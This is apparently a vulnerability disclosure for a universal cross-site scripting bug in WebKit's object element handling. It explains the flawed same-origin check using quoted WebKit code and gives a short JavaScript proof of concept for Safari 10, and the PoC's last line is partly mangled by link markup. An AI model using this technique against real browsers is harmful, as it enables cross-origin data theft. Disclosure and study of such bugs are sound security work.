WebKit HTMLObjectElement::updateWidget Universal XSS

WebKit suffers from a cross site scripting vulnerability in HTMLObjectElement::updateWidget.

MD5 | f0e21a167d42921982c3f33d285a4164

 WebKit: UXSS through HTMLObjectElement::updateWidget 


When an object element loads a JavaScript URL(e.g., javascript:alert(1)), it checks whether it violate the Same Origin Policy or not.

Here's some snippets of the logic.

void HTMLObjectElement::updateWidget(CreatePlugins createPlugins)
String url = this->url();
if (!allowedToLoadFrameURL(url))

bool beforeLoadAllowedLoad = guardedDispatchBeforeLoadEvent(url);

bool success = beforeLoadAllowedLoad && hasValidClassId();
if (success)
success = requestObject(url, serviceType, paramNames, paramValues);

bool HTMLPlugInImageElement::allowedToLoadFrameURL(const String& url)
URL completeURL = document().completeURL(url);
if (contentFrame() && protocolIsJavaScript(completeURL) && !document().securityOrigin().canAccess(contentDocument()->securityOrigin()))
return false;
return document().frame()->isURLAllowed(completeURL);

bool HTMLPlugInElement::requestObject(const String& url, const String& mimeType, const Vector<String>& paramNames, const Vector<String>& paramValues)
if (m_pluginReplacement)
return true;

URL completedURL;
if (!url.isEmpty())
completedURL = document().completeURL(url);

ReplacementPlugin* replacement = pluginReplacementForType(completedURL, mimeType);
if (!replacement || !replacement->isEnabledBySettings(document().settings()))
return false;

LOG(Plugins, "%p - Found plug-in replacement for %s.", this, completedURL.string().utf8().data());

m_pluginReplacement = replacement->create(*this, paramNames, paramValues);
return true;

The SOP violation check is made in the method HTMLPlugInImageElement::allowedToLoadFrameURL.

What I noticed is that there are two uses of |document().completeURL| for the same URL, and the method guardedDispatchBeforeLoadEvent dispatches a beforeloadevent that may execute JavaScript code after the SOP violation check. So if the base URL is changed like "javascript:///%0aalert(location);//" in the event handler, a navigation to the JavaScript URL will be made successfully.

Tested on Safari 10.0.3(12602.4.8).



let o = document.body.appendChild(document.createElement('object'));
o.onload = () => {
o.onload = null;

o.onbeforeload = () => {
o.onbeforeload = null;

let b = document.head.appendChild(document.createElement('base'));
b.href = 'javascript:///%0aalert(location);//';
o.data = 'xxxxx';

o.type = 'text/html';
o.data = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a>


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Found by: lokihardt

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